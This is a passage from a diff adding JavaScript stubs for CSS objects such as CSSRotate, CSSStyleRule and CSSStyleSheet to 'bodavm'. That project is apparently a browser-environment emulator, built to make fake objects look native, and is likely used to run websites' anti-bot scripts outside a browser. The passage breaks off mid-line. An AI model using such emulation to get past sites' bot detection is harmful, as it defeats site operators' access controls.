+bodavm.toolsFunc.defineProperty('CSSMathMin', "values", { + configurable: true, + enumerable: true, + get: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathMin'].prototype, "CSSMathMin", "values_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSMathNegate对象 + +bodavm.memory.globalobj['CSSMathNegate'] = function CSSMathNegate() { + console.log_copy('CSSMathNegate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathNegate)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMathNegate': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathNegate'], "CSSMathNegate"); +bodavm.memory.globalobj['CSSMathNegate'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathNegate'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathNegate', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathNegate'].prototype, "CSSMathNegate", "value_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSMathProduct对象 + +bodavm.memory.globalobj['CSSMathProduct'] = function CSSMathProduct() { + console.log_copy('CSSMathProduct 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathProduct)) { + return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathProduct': Arguments can't be empty"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathProduct'], "CSSMathProduct"); +bodavm.memory.globalobj['CSSMathProduct'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathProduct'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathProduct', "values", { + configurable: true, + enumerable: true, + get: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathProduct'].prototype, "CSSMathProduct", "values_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSMathSum对象 + +bodavm.memory.globalobj['CSSMathSum'] = function CSSMathSum() { + console.log_copy('CSSMathSum 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMathSum)) { + return bodavm.toolsFunc.throwError("SyntaxError", "Failed to construct 'CSSMathSum': Arguments can't be empty"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathSum'], "CSSMathSum"); +bodavm.memory.globalobj['CSSMathSum'].prototype.__proto__ = bodavm.memory.globalobj['CSSMathValue'].prototype; +bodavm.memory.globalobj['CSSMathSum'].__proto__ = bodavm.memory.globalobj['CSSMathValue']; +bodavm.toolsFunc.defineProperty('CSSMathSum', "values", { + configurable: true, + enumerable: true, + get: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathSum'].prototype, "CSSMathSum", "values_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSMatrixComponent对象 + +bodavm.memory.globalobj['CSSMatrixComponent'] = function CSSMatrixComponent() { + console.log_copy('CSSMatrixComponent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMatrixComponent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSMatrixComponent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMatrixComponent'], "CSSMatrixComponent"); +bodavm.memory.globalobj['CSSMatrixComponent'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSMatrixComponent'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSMatrixComponent', "matrix", { + configurable: true, + enumerable: true, + get: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMatrixComponent'].prototype, "CSSMatrixComponent", "matrix_get", arguments); + }, + set: function matrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMatrixComponent'].prototype, "CSSMatrixComponent", "matrix_set", arguments); + } +}, 'prototype'); +// CSSMediaRule对象 + +bodavm.memory.globalobj['CSSMediaRule'] = function CSSMediaRule() { + console.log_copy('CSSMediaRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSMediaRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMediaRule'], "CSSMediaRule"); +bodavm.memory.globalobj['CSSMediaRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSConditionRule'].prototype; +bodavm.memory.globalobj['CSSMediaRule'].__proto__ = bodavm.memory.globalobj['CSSConditionRule']; +bodavm.toolsFunc.defineProperty('CSSMediaRule', "media", { + configurable: true, + enumerable: true, + get: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMediaRule'].prototype, "CSSMediaRule", "media_get", arguments); + }, + set: function media() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMediaRule'].prototype, "CSSMediaRule", "media_set", arguments); + } +}, 'prototype'); +// CSSNamespaceRule对象 + +bodavm.memory.globalobj['CSSNamespaceRule'] = function CSSNamespaceRule() { + console.log_copy('CSSNamespaceRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSNamespaceRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNamespaceRule'], "CSSNamespaceRule"); +bodavm.memory.globalobj['CSSNamespaceRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSNamespaceRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSNamespaceRule', "namespaceURI", { + configurable: true, + enumerable: true, + get: function namespaceURI() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNamespaceRule'].prototype, "CSSNamespaceRule", "namespaceURI_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNamespaceRule', "prefix", { + configurable: true, + enumerable: true, + get: function prefix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNamespaceRule'].prototype, "CSSNamespaceRule", "prefix_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSNumericArray对象 + +bodavm.memory.globalobj['CSSNumericArray'] = function CSSNumericArray() { + console.log_copy('CSSNumericArray 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSNumericArray)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNumericArray'], "CSSNumericArray"); +bodavm.toolsFunc.defineProperty('CSSNumericArray', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericArray', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericArray', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericArray', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSNumericArray', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericArray'].prototype, "CSSNumericArray", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSPageRule对象 + +bodavm.memory.globalobj['CSSPageRule'] = function CSSPageRule() { + console.log_copy('CSSPageRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSPageRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPageRule'], "CSSPageRule"); +bodavm.memory.globalobj['CSSPageRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSPageRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSPageRule', "selectorText", { + configurable: true, + enumerable: true, + get: function selectorText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "selectorText_get", arguments); + }, + set: function selectorText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "selectorText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSPageRule', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPageRule'].prototype, "CSSPageRule", "style_set", arguments); + } +}, 'prototype'); +// CSSPerspective对象 + +bodavm.memory.globalobj['CSSPerspective'] = function CSSPerspective() { + console.log_copy('CSSPerspective 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSPerspective)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSPerspective': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPerspective'], "CSSPerspective"); +bodavm.memory.globalobj['CSSPerspective'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSPerspective'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSPerspective', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPerspective'].prototype, "CSSPerspective", "length_get", arguments); + }, + set: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPerspective'].prototype, "CSSPerspective", "length_set", arguments); + } +}, 'prototype'); +// CSSPositionValue对象 + +bodavm.memory.globalobj['CSSPositionValue'] = function CSSPositionValue() { + console.log_copy('CSSPositionValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSPositionValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSPositionValue': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPositionValue'], "CSSPositionValue"); +bodavm.memory.globalobj['CSSPositionValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSPositionValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +bodavm.toolsFunc.defineProperty('CSSPositionValue', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSPositionValue', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPositionValue'].prototype, "CSSPositionValue", "y_set", arguments); + } +}, 'prototype'); +// CSSPropertyRule对象 + +bodavm.memory.globalobj['CSSPropertyRule'] = function CSSPropertyRule() { + console.log_copy('CSSPropertyRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSPropertyRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSPropertyRule'], "CSSPropertyRule"); +bodavm.memory.globalobj['CSSPropertyRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSPropertyRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSPropertyRule', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSPropertyRule', "syntax", { + configurable: true, + enumerable: true, + get: function syntax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "syntax_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSPropertyRule', "inherits", { + configurable: true, + enumerable: true, + get: function inherits() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "inherits_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSPropertyRule', "initialValue", { + configurable: true, + enumerable: true, + get: function initialValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSPropertyRule'].prototype, "CSSPropertyRule", "initialValue_get", arguments); + }, + set: undefined +}, 'prototype'); +// CSSRotate对象 + +bodavm.memory.globalobj['CSSRotate'] = function CSSRotate() { + console.log_copy('CSSRotate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSRotate)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSRotate': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRotate'], "CSSRotate"); +bodavm.memory.globalobj['CSSRotate'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSRotate'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSRotate', "angle", { + configurable: true, + enumerable: true, + get: function angle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "angle_get", arguments); + }, + set: function angle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "angle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRotate', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRotate', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSRotate', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "z_get", arguments); + }, + set: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRotate'].prototype, "CSSRotate", "z_set", arguments); + } +}, 'prototype'); +// CSSScale对象 + +bodavm.memory.globalobj['CSSScale'] = function CSSScale() { + console.log_copy('CSSScale 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSScale)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSScale': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSScale'], "CSSScale"); +bodavm.memory.globalobj['CSSScale'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSScale'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSScale', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSScale', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSScale', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "z_get", arguments); + }, + set: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSScale'].prototype, "CSSScale", "z_set", arguments); + } +}, 'prototype'); +// CSSSkew对象 + +bodavm.memory.globalobj['CSSSkew'] = function CSSSkew() { + console.log_copy('CSSSkew 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSSkew)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkew': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkew'], "CSSSkew"); +bodavm.memory.globalobj['CSSSkew'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSSkew'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSSkew', "ax", { + configurable: true, + enumerable: true, + get: function ax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ax_get", arguments); + }, + set: function ax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ax_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSSkew', "ay", { + configurable: true, + enumerable: true, + get: function ay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ay_get", arguments); + }, + set: function ay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkew'].prototype, "CSSSkew", "ay_set", arguments); + } +}, 'prototype'); +// CSSSkewX对象 + +bodavm.memory.globalobj['CSSSkewX'] = function CSSSkewX() { + console.log_copy('CSSSkewX 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSSkewX)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkewX': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkewX'], "CSSSkewX"); +bodavm.memory.globalobj['CSSSkewX'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSSkewX'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSSkewX', "ax", { + configurable: true, + enumerable: true, + get: function ax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewX'].prototype, "CSSSkewX", "ax_get", arguments); + }, + set: function ax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewX'].prototype, "CSSSkewX", "ax_set", arguments); + } +}, 'prototype'); +// CSSSkewY对象 + +bodavm.memory.globalobj['CSSSkewY'] = function CSSSkewY() { + console.log_copy('CSSSkewY 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSSkewY)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSSkewY': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSSkewY'], "CSSSkewY"); +bodavm.memory.globalobj['CSSSkewY'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSSkewY'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSSkewY', "ay", { + configurable: true, + enumerable: true, + get: function ay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewY'].prototype, "CSSSkewY", "ay_get", arguments); + }, + set: function ay() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSSkewY'].prototype, "CSSSkewY", "ay_set", arguments); + } +}, 'prototype'); +// CSSStyleRule对象 + +bodavm.memory.globalobj['CSSStyleRule'] = function CSSStyleRule() { + console.log_copy('CSSStyleRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSStyleRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleRule'], "CSSStyleRule"); +bodavm.memory.globalobj['CSSStyleRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSRule'].prototype; +bodavm.memory.globalobj['CSSStyleRule'].__proto__ = bodavm.memory.globalobj['CSSRule']; +bodavm.toolsFunc.defineProperty('CSSStyleRule', "selectorText", { + configurable: true, + enumerable: true, + get: function selectorText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "selectorText_get", arguments); + }, + set: function selectorText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "selectorText_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleRule', "style", { + configurable: true, + enumerable: true, + get: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "style_get", arguments); + }, + set: function style() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "style_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleRule', "styleMap", { + configurable: true, + enumerable: true, + get: function styleMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "styleMap_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleRule', "cssRules", { + configurable: true, + enumerable: true, + get: function cssRules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "cssRules_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleRule', "deleteRule", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "deleteRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleRule', "insertRule", { + configurable: true, + enumerable: true, + writable: true, + value: function insertRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleRule'].prototype, "CSSStyleRule", "insertRule", arguments); + } +}, 'prototype'); +// CSSStyleSheet对象 + +bodavm.memory.globalobj['CSSStyleSheet'] = function CSSStyleSheet() { + console.log_copy('CSSStyleSheet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.CSSStyleSheet(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleSheet'], "CSSStyleSheet"); +bodavm.memory.globalobj['CSSStyleSheet'].prototype.__proto__ = bodavm.memory.globalobj['StyleSheet'].prototype; +bodavm.memory.globalobj['CSSStyleSheet'].__proto__ = bodavm.memory.globalobj['StyleSheet']; +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "ownerRule", { + configurable: true, + enumerable: true, + get: function ownerRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "ownerRule_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "cssRules", { + configurable: true, + enumerable: true, + get: function cssRules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "cssRules_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "rules", { + configurable: true, + enumerable: true, + get: function rules() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "rules_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "addRule", { + configurable: true, + enumerable: true, + writable: true, + value: function addRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "addRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "deleteRule", { + configurable: true, + enumerable: true, + writable: true, + value: function deleteRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "deleteRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "insertRule", { + configurable: true, + enumerable: true, + writable: true, + value: function insertRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "insertRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "removeRule", { + configurable: true, + enumerable: true, + writable: true, + value: function removeRule() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "removeRule", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "replace", { + configurable: true, + enumerable: true, + writable: true, + value: function replace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, "CSSStyleSheet", "replace", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSStyleSheet', "replaceSync", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceSync() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleSheet'].prototype, 